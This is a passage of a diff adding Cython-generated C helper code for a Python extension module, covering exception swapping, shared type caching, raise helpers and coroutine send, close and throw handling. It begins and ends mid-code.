*tmp_value, *tmp_tb; + #if CYTHON_USE_EXC_INFO_STACK && PY_VERSION_HEX >= 0x030B00a4 + _PyErr_StackItem *exc_info = tstate->exc_info; + tmp_value = exc_info->exc_value; + exc_info->exc_value = *value; + if (tmp_value == NULL || tmp_value == Py_None) { + Py_XDECREF(tmp_value); + tmp_value = NULL; + tmp_type = NULL; + tmp_tb = NULL; + } else { + tmp_type = (PyObject*) Py_TYPE(tmp_value); + Py_INCREF(tmp_type); + #if CYTHON_COMPILING_IN_CPYTHON + tmp_tb = ((PyBaseExceptionObject*) tmp_value)->traceback; + Py_XINCREF(tmp_tb); + #else + tmp_tb = PyException_GetTraceback(tmp_value); + #endif + } + #elif CYTHON_USE_EXC_INFO_STACK + _PyErr_StackItem *exc_info = tstate->exc_info; + tmp_type = exc_info->exc_type; + tmp_value = exc_info->exc_value; + tmp_tb = exc_info->exc_traceback; + exc_info->exc_type = *type; + exc_info->exc_value = *value; + exc_info->exc_traceback = *tb; + #else + tmp_type = tstate->exc_type; + tmp_value = tstate->exc_value; + tmp_tb = tstate->exc_traceback; + tstate->exc_type = *type; + tstate->exc_value = *value; + tstate->exc_traceback = *tb; + #endif + *type = tmp_type; + *value = tmp_value; + *tb = tmp_tb; +} +#else +static CYTHON_INLINE void __Pyx_ExceptionSwap(PyObject **type, PyObject **value, PyObject **tb) { + PyObject *tmp_type, *tmp_value, *tmp_tb; + PyErr_GetExcInfo(&tmp_type, &tmp_value, &tmp_tb); + PyErr_SetExcInfo(*type, *value, *tb); + *type = tmp_type; + *value = tmp_value; + *tb = tmp_tb; +} +#endif + +/* FixUpExtensionType */ +#if CYTHON_USE_TYPE_SPECS +static int __Pyx_fix_up_extension_type_from_spec(PyType_Spec *spec, PyTypeObject *type) { +#if PY_VERSION_HEX > 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + CYTHON_UNUSED_VAR(spec); + CYTHON_UNUSED_VAR(type); +#else + const PyType_Slot *slot = spec->slots; + while (slot && slot->slot && slot->slot != Py_tp_members) + slot++; + if (slot && slot->slot == Py_tp_members) { + int changed = 0; +#if !(PY_VERSION_HEX <= 0x030900b1 && CYTHON_COMPILING_IN_CPYTHON) + const +#endif + PyMemberDef *memb = (PyMemberDef*) slot->pfunc; + while (memb && memb->name) { + if (memb->name[0] == '_' && memb->name[1] == '_') { +#if PY_VERSION_HEX < 0x030900b1 + if (strcmp(memb->name, "__weaklistoffset__") == 0) { + assert(memb->type == T_PYSSIZET); + assert(memb->flags == READONLY); + type->tp_weaklistoffset = memb->offset; + changed = 1; + } + else if (strcmp(memb->name, "__dictoffset__") == 0) { + assert(memb->type == T_PYSSIZET); + assert(memb->flags == READONLY); + type->tp_dictoffset = memb->offset; + changed = 1; + } +#if CYTHON_METH_FASTCALL + else if (strcmp(memb->name, "__vectorcalloffset__") == 0) { + assert(memb->type == T_PYSSIZET); + assert(memb->flags == READONLY); +#if PY_VERSION_HEX >= 0x030800b4 + type->tp_vectorcall_offset = memb->offset; +#else + type->tp_print = (printfunc) memb->offset; +#endif + changed = 1; + } +#endif +#else + if ((0)); +#endif +#if PY_VERSION_HEX <= 0x030900b1 && CYTHON_COMPILING_IN_CPYTHON + else if (strcmp(memb->name, "__module__") == 0) { + PyObject *descr; + assert(memb->type == T_OBJECT); + assert(memb->flags == 0 || memb->flags == READONLY); + descr = PyDescr_NewMember(type, memb); + if (unlikely(!descr)) + return -1; + if (unlikely(PyDict_SetItem(type->tp_dict, PyDescr_NAME(descr), descr) < 0)) { + Py_DECREF(descr); + return -1; + } + Py_DECREF(descr); + changed = 1; + } +#endif + } + memb++; + } + if (changed) + PyType_Modified(type); + } +#endif + return 0; +} +#endif + +/* FetchSharedCythonModule */ +static PyObject *__Pyx_FetchSharedCythonABIModule(void) { + return __Pyx_PyImport_AddModuleRef((char*) __PYX_ABI_MODULE_NAME); +} + +/* FetchCommonType */ +static int __Pyx_VerifyCachedType(PyObject *cached_type, + const char *name, + Py_ssize_t basicsize, + Py_ssize_t expected_basicsize) { + if (!PyType_Check(cached_type)) { + PyErr_Format(PyExc_TypeError, + "Shared Cython type %.200s is not a type object", name); + return -1; + } + if (basicsize != expected_basicsize) { + PyErr_Format(PyExc_TypeError, + "Shared Cython type %.200s has the wrong size, try recompiling", + name); + return -1; + } + return 0; +} +#if !CYTHON_USE_TYPE_SPECS +static PyTypeObject* __Pyx_FetchCommonType(PyTypeObject* type) { + PyObject* abi_module; + const char* object_name; + PyTypeObject *cached_type = NULL; + abi_module = __Pyx_FetchSharedCythonABIModule(); + if (!abi_module) return NULL; + object_name = strrchr(type->tp_name, '.'); + object_name = object_name ? object_name+1 : type->tp_name; + cached_type = (PyTypeObject*) PyObject_GetAttrString(abi_module, object_name); + if (cached_type) { + if (__Pyx_VerifyCachedType( + (PyObject *)cached_type, + object_name, + cached_type->tp_basicsize, + type->tp_basicsize) < 0) { + goto bad; + } + goto done; + } + if (!PyErr_ExceptionMatches(PyExc_AttributeError)) goto bad; + PyErr_Clear(); + if (PyType_Ready(type) < 0) goto bad; + if (PyObject_SetAttrString(abi_module, object_name, (PyObject *)type) < 0) + goto bad; + Py_INCREF(type); + cached_type = type; +done: + Py_DECREF(abi_module); + return cached_type; +bad: + Py_XDECREF(cached_type); + cached_type = NULL; + goto done; +} +#else +static PyTypeObject *__Pyx_FetchCommonTypeFromSpec(PyObject *module, PyType_Spec *spec, PyObject *bases) { + PyObject *abi_module, *cached_type = NULL; + const char* object_name = strrchr(spec->name, '.'); + object_name = object_name ? object_name+1 : spec->name; + abi_module = __Pyx_FetchSharedCythonABIModule(); + if (!abi_module) return NULL; + cached_type = PyObject_GetAttrString(abi_module, object_name); + if (cached_type) { + Py_ssize_t basicsize; +#if CYTHON_COMPILING_IN_LIMITED_API + PyObject *py_basicsize; + py_basicsize = PyObject_GetAttrString(cached_type, "__basicsize__"); + if (unlikely(!py_basicsize)) goto bad; + basicsize = PyLong_AsSsize_t(py_basicsize); + Py_DECREF(py_basicsize); + py_basicsize = 0; + if (unlikely(basicsize == (Py_ssize_t)-1) && PyErr_Occurred()) goto bad; +#else + basicsize = likely(PyType_Check(cached_type)) ? ((PyTypeObject*) cached_type)->tp_basicsize : -1; +#endif + if (__Pyx_VerifyCachedType( + cached_type, + object_name, + basicsize, + spec->basicsize) < 0) { + goto bad; + } + goto done; + } + if (!PyErr_ExceptionMatches(PyExc_AttributeError)) goto bad; + PyErr_Clear(); + CYTHON_UNUSED_VAR(module); + cached_type = __Pyx_PyType_FromModuleAndSpec(abi_module, spec, bases); + if (unlikely(!cached_type)) goto bad; + if (unlikely(__Pyx_fix_up_extension_type_from_spec(spec, (PyTypeObject *) cached_type) < 0)) goto bad; + if (PyObject_SetAttrString(abi_module, object_name, cached_type) < 0) goto bad; +done: + Py_DECREF(abi_module); + assert(cached_type == NULL || PyType_Check(cached_type)); + return (PyTypeObject *) cached_type; +bad: + Py_XDECREF(cached_type); + cached_type = NULL; + goto done; +} +#endif + +/* RaiseException */ +#if PY_MAJOR_VERSION < 3 +static void __Pyx_Raise(PyObject *type, PyObject *value, PyObject *tb, PyObject *cause) { + __Pyx_PyThreadState_declare + CYTHON_UNUSED_VAR(cause); + Py_XINCREF(type); + if (!value || value == Py_None) + value = NULL; + else + Py_INCREF(value); + if (!tb || tb == Py_None) + tb = NULL; + else { + Py_INCREF(tb); + if (!PyTraceBack_Check(tb)) { + PyErr_SetString(PyExc_TypeError, + "raise: arg 3 must be a traceback or None"); + goto raise_error; + } + } + if (PyType_Check(type)) { +#if CYTHON_COMPILING_IN_PYPY + if (!value) { + Py_INCREF(Py_None); + value = Py_None; + } +#endif + PyErr_NormalizeException(&type, &value, &tb); + } else { + if (value) { + PyErr_SetString(PyExc_TypeError, + "instance exception may not have a separate value"); + goto raise_error; + } + value = type; + type = (PyObject*) Py_TYPE(type); + Py_INCREF(type); + if (!PyType_IsSubtype((PyTypeObject *)type, (PyTypeObject *)PyExc_BaseException)) { + PyErr_SetString(PyExc_TypeError, + "raise: exception class must be a subclass of BaseException"); + goto raise_error; + } + } + __Pyx_PyThreadState_assign + __Pyx_ErrRestore(type, value, tb); + return; +raise_error: + Py_XDECREF(value); + Py_XDECREF(type); + Py_XDECREF(tb); + return; +} +#else +static void __Pyx_Raise(PyObject *type, PyObject *value, PyObject *tb, PyObject *cause) { + PyObject* owned_instance = NULL; + if (tb == Py_None) { + tb = 0; + } else if (tb && !PyTraceBack_Check(tb)) { + PyErr_SetString(PyExc_TypeError, + "raise: arg 3 must be a traceback or None"); + goto bad; + } + if (value == Py_None) + value = 0; + if (PyExceptionInstance_Check(type)) { + if (value) { + PyErr_SetString(PyExc_TypeError, + "instance exception may not have a separate value"); + goto bad; + } + value = type; + type = (PyObject*) Py_TYPE(value); + } else if (PyExceptionClass_Check(type)) { + PyObject *instance_class = NULL; + if (value && PyExceptionInstance_Check(value)) { + instance_class = (PyObject*) Py_TYPE(value); + if (instance_class != type) { + int is_subclass = PyObject_IsSubclass(instance_class, type); + if (!is_subclass) { + instance_class = NULL; + } else if (unlikely(is_subclass == -1)) { + goto bad; + } else { + type = instance_class; + } + } + } + if (!instance_class) { + PyObject *args; + if (!value) + args = PyTuple_New(0); + else if (PyTuple_Check(value)) { + Py_INCREF(value); + args = value; + } else + args = PyTuple_Pack(1, value); + if (!args) + goto bad; + owned_instance = PyObject_Call(type, args, NULL); + Py_DECREF(args); + if (!owned_instance) + goto bad; + value = owned_instance; + if (!PyExceptionInstance_Check(value)) { + PyErr_Format(PyExc_TypeError, + "calling %R should have returned an instance of " + "BaseException, not %R", + type, Py_TYPE(value)); + goto bad; + } + } + } else { + PyErr_SetString(PyExc_TypeError, + "raise: exception class must be a subclass of BaseException"); + goto bad; + } + if (cause) { + PyObject *fixed_cause; + if (cause == Py_None) { + fixed_cause = NULL; + } else if (PyExceptionClass_Check(cause)) { + fixed_cause = PyObject_CallObject(cause, NULL); + if (fixed_cause == NULL) + goto bad; + } else if (PyExceptionInstance_Check(cause)) { + fixed_cause = cause; + Py_INCREF(fixed_cause); + } else { + PyErr_SetString(PyExc_TypeError, + "exception causes must derive from " + "BaseException"); + goto bad; + } + PyException_SetCause(value, fixed_cause); + } + PyErr_SetObject(type, value); + if (tb) { + #if PY_VERSION_HEX >= 0x030C00A6 + PyException_SetTraceback(value, tb); + #elif CYTHON_FAST_THREAD_STATE + PyThreadState *tstate = __Pyx_PyThreadState_Current; + PyObject* tmp_tb = tstate->curexc_traceback; + if (tb != tmp_tb) { + Py_INCREF(tb); + tstate->curexc_traceback = tb; + Py_XDECREF(tmp_tb); + } +#else + PyObject *tmp_type, *tmp_value, *tmp_tb; + PyErr_Fetch(&tmp_type, &tmp_value, &tmp_tb); + Py_INCREF(tb); + PyErr_Restore(tmp_type, tmp_value, tb); + Py_XDECREF(tmp_tb); +#endif + } +bad: + Py_XDECREF(owned_instance); + return; +} +#endif + +/* PyObjectCall2Args */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_Call2Args(PyObject* function, PyObject* arg1, PyObject* arg2) { + PyObject *args[3] = {NULL, arg1, arg2}; + return __Pyx_PyObject_FastCall(function, args+1, 2 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET); +} + +/* PyObjectCallMethod1 */ +#if !(CYTHON_VECTORCALL && __PYX_LIMITED_VERSION_HEX >= 0x030C00A2) +static PyObject* __Pyx__PyObject_CallMethod1(PyObject* method, PyObject* arg) { + PyObject *result = __Pyx_PyObject_CallOneArg(method, arg); + Py_DECREF(method); + return result; +} +#endif +static PyObject* __Pyx_PyObject_CallMethod1(PyObject* obj, PyObject* method_name, PyObject* arg) { +#if CYTHON_VECTORCALL && __PYX_LIMITED_VERSION_HEX >= 0x030C00A2 + PyObject *args[2] = {obj, arg}; + (void) __Pyx_PyObject_GetMethod; + (void) __Pyx_PyObject_CallOneArg; + (void) __Pyx_PyObject_Call2Args; + return PyObject_VectorcallMethod(method_name, args, 2 | PY_VECTORCALL_ARGUMENTS_OFFSET, NULL); +#else + PyObject *method = NULL, *result; + int is_method = __Pyx_PyObject_GetMethod(obj, method_name, &method); + if (likely(is_method)) { + result = __Pyx_PyObject_Call2Args(method, obj, arg); + Py_DECREF(method); + return result; + } + if (unlikely(!method)) return NULL; + return __Pyx__PyObject_CallMethod1(method, arg); +#endif +} + +/* CoroutineBase */ +#include +#if PY_VERSION_HEX >= 0x030b00a6 + #ifndef Py_BUILD_CORE + #define Py_BUILD_CORE 1 + #endif + #include "internal/pycore_frame.h" +#endif +#define __Pyx_Coroutine_Undelegate(gen) Py_CLEAR((gen)->yieldfrom) +static int __Pyx_PyGen__FetchStopIterationValue(PyThreadState *__pyx_tstate, PyObject **pvalue) { + PyObject *et, *ev, *tb; + PyObject *value = NULL; + CYTHON_UNUSED_VAR(__pyx_tstate); + __Pyx_ErrFetch(&et, &ev, &tb); + if (!et) { + Py_XDECREF(tb); + Py_XDECREF(ev); + Py_INCREF(Py_None); + *pvalue = Py_None; + return 0; + } + if (likely(et == PyExc_StopIteration)) { + if (!ev) { + Py_INCREF(Py_None); + value = Py_None; + } +#if PY_VERSION_HEX >= 0x030300A0 + else if (likely(__Pyx_IS_TYPE(ev, (PyTypeObject*)PyExc_StopIteration))) { + value = ((PyStopIterationObject *)ev)->value; + Py_INCREF(value); + Py_DECREF(ev); + } +#endif + else if (unlikely(PyTuple_Check(ev))) { + if (PyTuple_GET_SIZE(ev) >= 1) { +#if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + value = PyTuple_GET_ITEM(ev, 0); + Py_INCREF(value); +#else + value = PySequence_ITEM(ev, 0); +#endif + } else { + Py_INCREF(Py_None); + value = Py_None; + } + Py_DECREF(ev); + } + else if (!__Pyx_TypeCheck(ev, (PyTypeObject*)PyExc_StopIteration)) { + value = ev; + } + if (likely(value)) { + Py_XDECREF(tb); + Py_DECREF(et); + *pvalue = value; + return 0; + } + } else if (!__Pyx_PyErr_GivenExceptionMatches(et, PyExc_StopIteration)) { + __Pyx_ErrRestore(et, ev, tb); + return -1; + } + PyErr_NormalizeException(&et, &ev, &tb); + if (unlikely(!PyObject_TypeCheck(ev, (PyTypeObject*)PyExc_StopIteration))) { + __Pyx_ErrRestore(et, ev, tb); + return -1; + } + Py_XDECREF(tb); + Py_DECREF(et); +#if PY_VERSION_HEX >= 0x030300A0 + value = ((PyStopIterationObject *)ev)->value; + Py_INCREF(value); + Py_DECREF(ev); +#else + { + PyObject* args = __Pyx_PyObject_GetAttrStr(ev, __pyx_n_s_args); + Py_DECREF(ev); + if (likely(args)) { + value = PySequence_GetItem(args, 0); + Py_DECREF(args); + } + if (unlikely(!value)) { + __Pyx_ErrRestore(NULL, NULL, NULL); + Py_INCREF(Py_None); + value = Py_None; + } + } +#endif + *pvalue = value; + return 0; +} +static CYTHON_INLINE +void __Pyx_Coroutine_ExceptionClear(__Pyx_ExcInfoStruct *exc_state) { +#if PY_VERSION_HEX >= 0x030B00a4 + Py_CLEAR(exc_state->exc_value); +#else + PyObject *t, *v, *tb; + t = exc_state->exc_type; + v = exc_state->exc_value; + tb = exc_state->exc_traceback; + exc_state->exc_type = NULL; + exc_state->exc_value = NULL; + exc_state->exc_traceback = NULL; + Py_XDECREF(t); + Py_XDECREF(v); + Py_XDECREF(tb); +#endif +} +#define __Pyx_Coroutine_AlreadyRunningError(gen) (__Pyx__Coroutine_AlreadyRunningError(gen), (PyObject*)NULL) +static void __Pyx__Coroutine_AlreadyRunningError(__pyx_CoroutineObject *gen) { + const char *msg; + CYTHON_MAYBE_UNUSED_VAR(gen); + if ((0)) { + #ifdef __Pyx_Coroutine_USED + } else if (__Pyx_Coroutine_Check((PyObject*)gen)) { + msg = "coroutine already executing"; + #endif + #ifdef __Pyx_AsyncGen_USED + } else if (__Pyx_AsyncGen_CheckExact((PyObject*)gen)) { + msg = "async generator already executing"; + #endif + } else { + msg = "generator already executing"; + } + PyErr_SetString(PyExc_ValueError, msg); +} +#define __Pyx_Coroutine_NotStartedError(gen) (__Pyx__Coroutine_NotStartedError(gen), (PyObject*)NULL) +static void __Pyx__Coroutine_NotStartedError(PyObject *gen) { + const char *msg; + CYTHON_MAYBE_UNUSED_VAR(gen); + if ((0)) { + #ifdef __Pyx_Coroutine_USED + } else if (__Pyx_Coroutine_Check(gen)) { + msg = "can't send non-None value to a just-started coroutine"; + #endif + #ifdef __Pyx_AsyncGen_USED + } else if (__Pyx_AsyncGen_CheckExact(gen)) { + msg = "can't send non-None value to a just-started async generator"; + #endif + } else { + msg = "can't send non-None value to a just-started generator"; + } + PyErr_SetString(PyExc_TypeError, msg); +} +#define __Pyx_Coroutine_AlreadyTerminatedError(gen, value, closing) (__Pyx__Coroutine_AlreadyTerminatedError(gen, value, closing), (PyObject*)NULL) +static void __Pyx__Coroutine_AlreadyTerminatedError(PyObject *gen, PyObject *value, int closing) { + CYTHON_MAYBE_UNUSED_VAR(gen); + CYTHON_MAYBE_UNUSED_VAR(closing); + #ifdef __Pyx_Coroutine_USED + if (!closing && __Pyx_Coroutine_Check(gen)) { + PyErr_SetString(PyExc_RuntimeError, "cannot reuse already awaited coroutine"); + } else + #endif + if (value) { + #ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(gen)) + PyErr_SetNone(__Pyx_PyExc_StopAsyncIteration); + else + #endif + PyErr_SetNone(PyExc_StopIteration); + } +} +static +PyObject *__Pyx_Coroutine_SendEx(__pyx_CoroutineObject *self, PyObject *value, int closing) { + __Pyx_PyThreadState_declare + PyThreadState *tstate; + __Pyx_ExcInfoStruct *exc_state; + PyObject *retval; + assert(!self->is_running); + if (unlikely(self->resume_label == 0)) { + if (unlikely(value && value != Py_None)) { + return __Pyx_Coroutine_NotStartedError((PyObject*)self); + } + } + if (unlikely(self->resume_label == -1)) { + return __Pyx_Coroutine_AlreadyTerminatedError((PyObject*)self, value, closing); + } +#if CYTHON_FAST_THREAD_STATE + __Pyx_PyThreadState_assign + tstate = __pyx_tstate; +#else + tstate = __Pyx_PyThreadState_Current; +#endif + exc_state = &self->gi_exc_state; + if (exc_state->exc_value) { + #if CYTHON_COMPILING_IN_PYPY + #else + PyObject *exc_tb; + #if PY_VERSION_HEX >= 0x030B00a4 && !CYTHON_COMPILING_IN_CPYTHON + exc_tb = PyException_GetTraceback(exc_state->exc_value); + #elif PY_VERSION_HEX >= 0x030B00a4 + exc_tb = ((PyBaseExceptionObject*) exc_state->exc_value)->traceback; + #else + exc_tb = exc_state->exc_traceback; + #endif + if (exc_tb) { + PyTracebackObject *tb = (PyTracebackObject *) exc_tb; + PyFrameObject *f = tb->tb_frame; + assert(f->f_back == NULL); + #if PY_VERSION_HEX >= 0x030B00A1 + f->f_back = PyThreadState_GetFrame(tstate); + #else + Py_XINCREF(tstate->frame); + f->f_back = tstate->frame; + #endif + #if PY_VERSION_HEX >= 0x030B00a4 && !CYTHON_COMPILING_IN_CPYTHON + Py_DECREF(exc_tb); + #endif + } + #endif + } +#if CYTHON_USE_EXC_INFO_STACK + exc_state->previous_item = tstate->exc_info; + tstate->exc_info = exc_state; +#else + if (exc_state->exc_type) { + __Pyx_ExceptionSwap(&exc_state->exc_type, &exc_state->exc_value, &exc_state->exc_traceback); + } else { + __Pyx_Coroutine_ExceptionClear(exc_state); + __Pyx_ExceptionSave(&exc_state->exc_type, &exc_state->exc_value, &exc_state->exc_traceback); + } +#endif + self->is_running = 1; + retval = self->body(self, tstate, value); + self->is_running = 0; +#if CYTHON_USE_EXC_INFO_STACK + exc_state = &self->gi_exc_state; + tstate->exc_info = exc_state->previous_item; + exc_state->previous_item = NULL; + __Pyx_Coroutine_ResetFrameBackpointer(exc_state); +#endif + return retval; +} +static CYTHON_INLINE void __Pyx_Coroutine_ResetFrameBackpointer(__Pyx_ExcInfoStruct *exc_state) { +#if CYTHON_COMPILING_IN_PYPY + CYTHON_UNUSED_VAR(exc_state); +#else + PyObject *exc_tb; + #if PY_VERSION_HEX >= 0x030B00a4 + if (!exc_state->exc_value) return; + exc_tb = PyException_GetTraceback(exc_state->exc_value); + #else + exc_tb = exc_state->exc_traceback; + #endif + if (likely(exc_tb)) { + PyTracebackObject *tb = (PyTracebackObject *) exc_tb; + PyFrameObject *f = tb->tb_frame; + Py_CLEAR(f->f_back); + #if PY_VERSION_HEX >= 0x030B00a4 + Py_DECREF(exc_tb); + #endif + } +#endif +} +static CYTHON_INLINE +PyObject *__Pyx_Coroutine_MethodReturn(PyObject* gen, PyObject *retval) { + CYTHON_MAYBE_UNUSED_VAR(gen); + if (unlikely(!retval)) { + __Pyx_PyThreadState_declare + __Pyx_PyThreadState_assign + if (!__Pyx_PyErr_Occurred()) { + PyObject *exc = PyExc_StopIteration; + #ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(gen)) + exc = __Pyx_PyExc_StopAsyncIteration; + #endif + __Pyx_PyErr_SetNone(exc); + } + } + return retval; +} +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03030000 && (defined(__linux__) || PY_VERSION_HEX >= 0x030600B3) +static CYTHON_INLINE +PyObject *__Pyx_PyGen_Send(PyGenObject *gen, PyObject *arg) { +#if PY_VERSION_HEX <= 0x030A00A1 + return _PyGen_Send(gen, arg); +#else + PyObject *result; + if (PyIter_Send((PyObject*)gen, arg ? arg : Py_None, &result) == PYGEN_RETURN) { + if (PyAsyncGen_CheckExact(gen)) { + assert(result == Py_None); + PyErr_SetNone(PyExc_StopAsyncIteration); + } + else if (result == Py_None) { + PyErr_SetNone(PyExc_StopIteration); + } + else { +#if PY_VERSION_HEX < 0x030d00A1 + _PyGen_SetStopIterationValue(result); +#else + if (!PyTuple_Check(result) && !PyExceptionInstance_Check(result)) { + PyErr_SetObject(PyExc_StopIteration, result); + } else { + PyObject *exc = __Pyx_PyObject_CallOneArg(PyExc_StopIteration, result); + if (likely(exc != NULL)) { + PyErr_SetObject(PyExc_StopIteration, exc); + Py_DECREF(exc); + } + } +#endif + } + Py_DECREF(result); + result = NULL; + } + return result; +#endif +} +#endif +static CYTHON_INLINE +PyObject *__Pyx_Coroutine_FinishDelegation(__pyx_CoroutineObject *gen) { + PyObject *ret; + PyObject *val = NULL; + __Pyx_Coroutine_Undelegate(gen); + __Pyx_PyGen__FetchStopIterationValue(__Pyx_PyThreadState_Current, &val); + ret = __Pyx_Coroutine_SendEx(gen, val, 0); + Py_XDECREF(val); + return ret; +} +static PyObject *__Pyx_Coroutine_Send(PyObject *self, PyObject *value) { + PyObject *retval; + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject*) self; + PyObject *yf = gen->yieldfrom; + if (unlikely(gen->is_running)) + return __Pyx_Coroutine_AlreadyRunningError(gen); + if (yf) { + PyObject *ret; + gen->is_running = 1; + #ifdef __Pyx_Generator_USED + if (__Pyx_Generator_CheckExact(yf)) { + ret = __Pyx_Coroutine_Send(yf, value); + } else + #endif + #ifdef __Pyx_Coroutine_USED + if (__Pyx_Coroutine_Check(yf)) { + ret = __Pyx_Coroutine_Send(yf, value); + } else + #endif + #ifdef __Pyx_AsyncGen_USED + if (__pyx_PyAsyncGenASend_CheckExact(yf)) { + ret = __Pyx_async_gen_asend_send(yf, value); + } else + #endif + #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03030000 && (defined(__linux__) || PY_VERSION_HEX >= 0x030600B3) + if (PyGen_CheckExact(yf)) { + ret = __Pyx_PyGen_Send((PyGenObject*)yf, value == Py_None ? NULL : value); + } else + #endif + #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03050000 && defined(PyCoro_CheckExact) && (defined(__linux__) || PY_VERSION_HEX >= 0x030600B3) + if (PyCoro_CheckExact(yf)) { + ret = __Pyx_PyGen_Send((PyGenObject*)yf, value == Py_None ? NULL : value); + } else + #endif + { + if (value == Py_None) + ret = __Pyx_PyObject_GetIterNextFunc(yf)(yf); + else + ret = __Pyx_PyObject_CallMethod1(yf, __pyx_n_s_send, value); + } + gen->is_running = 0; + if (likely(ret)) { + return ret; + } + retval = __Pyx_Coroutine_FinishDelegation(gen); + } else { + retval = __Pyx_Coroutine_SendEx(gen, value, 0); + } + return __Pyx_Coroutine_MethodReturn(self, retval); +} +static int __Pyx_Coroutine_CloseIter(__pyx_CoroutineObject *gen, PyObject *yf) { + PyObject *retval = NULL; + int err = 0; + #ifdef __Pyx_Generator_USED + if (__Pyx_Generator_CheckExact(yf)) { + retval = __Pyx_Coroutine_Close(yf); + if (!retval) + return -1; + } else + #endif + #ifdef __Pyx_Coroutine_USED + if (__Pyx_Coroutine_Check(yf)) { + retval = __Pyx_Coroutine_Close(yf); + if (!retval) + return -1; + } else + if (__Pyx_CoroutineAwait_CheckExact(yf)) { + retval = __Pyx_CoroutineAwait_Close((__pyx_CoroutineAwaitObject*)yf, NULL); + if (!retval) + return -1; + } else + #endif + #ifdef __Pyx_AsyncGen_USED + if (__pyx_PyAsyncGenASend_CheckExact(yf)) { + retval = __Pyx_async_gen_asend_close(yf, NULL); + } else + if (__pyx_PyAsyncGenAThrow_CheckExact(yf)) { + retval = __Pyx_async_gen_athrow_close(yf, NULL); + } else + #endif + { + PyObject *meth; + gen->is_running = 1; + meth = __Pyx_PyObject_GetAttrStrNoError(yf, __pyx_n_s_close); + if (unlikely(!meth)) { + if (unlikely(PyErr_Occurred())) { + PyErr_WriteUnraisable(yf); + } + } else { + retval = __Pyx_PyObject_CallNoArg(meth); + Py_DECREF(meth); + if (unlikely(!retval)) + err = -1; + } + gen->is_running = 0; + } + Py_XDECREF(retval); + return err; +} +static PyObject *__Pyx_Generator_Next(PyObject *self) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject*) self; + PyObject *yf = gen->yieldfrom; + if (unlikely(gen->is_running)) + return __Pyx_Coroutine_AlreadyRunningError(gen); + if (yf) { + PyObject *ret; + gen->is_running = 1; + #ifdef __Pyx_Generator_USED + if (__Pyx_Generator_CheckExact(yf)) { + ret = __Pyx_Generator_Next(yf); + } else + #endif + #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03030000 && (defined(__linux__) || PY_VERSION_HEX >= 0x030600B3) + if (PyGen_CheckExact(yf)) { + ret = __Pyx_PyGen_Send((PyGenObject*)yf, NULL); + } else + #endif + #ifdef __Pyx_Coroutine_USED + if (__Pyx_Coroutine_Check(yf)) { + ret = __Pyx_Coroutine_Send(yf, Py_None); + } else + #endif + ret = __Pyx_PyObject_GetIterNextFunc(yf)(yf); + gen->is_running = 0; + if (likely(ret)) { + return ret; + } + return __Pyx_Coroutine_FinishDelegation(gen); + } + return __Pyx_Coroutine_SendEx(gen, Py_None, 0); +} +static PyObject *__Pyx_Coroutine_Close_Method(PyObject *self, PyObject *arg) { + CYTHON_UNUSED_VAR(arg); + return __Pyx_Coroutine_Close(self); +} +static PyObject *__Pyx_Coroutine_Close(PyObject *self) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + PyObject *retval, *raised_exception; + PyObject *yf = gen->yieldfrom; + int err = 0; + if (unlikely(gen->is_running)) + return __Pyx_Coroutine_AlreadyRunningError(gen); + if (yf) { + Py_INCREF(yf); + err = __Pyx_Coroutine_CloseIter(gen, yf); + __Pyx_Coroutine_Undelegate(gen); + Py_DECREF(yf); + } + if (err == 0) + PyErr_SetNone(PyExc_GeneratorExit); + retval = __Pyx_Coroutine_SendEx(gen, NULL, 1); + if (unlikely(retval)) { + const char *msg; + Py_DECREF(retval); + if ((0)) { + #ifdef __Pyx_Coroutine_USED + } else if (__Pyx_Coroutine_Check(self)) { + msg = "coroutine ignored GeneratorExit"; + #endif + #ifdef __Pyx_AsyncGen_USED + } else if (__Pyx_AsyncGen_CheckExact(self)) { +#if PY_VERSION_HEX < 0x03060000 + msg = "async generator ignored GeneratorExit - might require Python 3.6+ finalisation (PEP 525)"; +#else + msg = "async generator ignored GeneratorExit"; +#endif + #endif + } else { + msg = "generator ignored GeneratorExit"; + } + PyErr_SetString(PyExc_RuntimeError, msg); + return NULL; + } + raised_exception = PyErr_Occurred(); + if (likely(!raised_exception || __Pyx_PyErr_GivenExceptionMatches2(raised_exception, PyExc_GeneratorExit, PyExc_StopIteration))) { + if (raised_exception) PyErr_Clear(); + Py_INCREF(Py_None); + return Py_None; + } + return NULL; +} +static PyObject *__Pyx__Coroutine_Throw(PyObject *self, PyObject *typ, PyObject *val, PyObject *tb, + PyObject *args, int close_on_genexit) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + PyObject *yf = gen->yieldfrom; + if (unlikely(gen->is_running)) + return __Pyx_Coroutine_AlreadyRunningError(gen); + if (yf) { + PyObject *ret; + Py_INCREF(yf); + if (__Pyx_PyErr_GivenExceptionMatches(typ, PyExc_GeneratorExit) && close_on_genexit) { + int err = __Pyx_Coroutine_CloseIter(gen, yf); + Py_DECREF(yf); + __Pyx_Coroutine_Undelegate(gen); + if (err < 0) + return __Pyx_Coroutine_MethodReturn(self, __Pyx_Coroutine_SendEx(gen, NULL, 0)); + goto throw_here; + } + gen->is_running = 1; + if (0 + #ifdef __Pyx_Generator_USED + || __Pyx_Generator_CheckExact(yf) + #endif + #ifdef __Pyx_Coroutine_USED + || __Pyx_Coroutine_Check(yf) + #endif + ) { + ret = __Pyx__Coroutine_Throw(yf, typ, val, tb, args, close_on_genexit); + #ifdef __Pyx_Coroutine_USED + } else if (__Pyx_CoroutineAwait_CheckExact(yf)) { + ret = __Pyx__Coroutine_Throw(((__pyx_CoroutineAwaitObject*)yf)->coroutine, typ, val, tb, args, close_on_genexit); + #endif + } else { + PyObject *meth = __Pyx_PyObject_GetAttrStrNoError(yf, 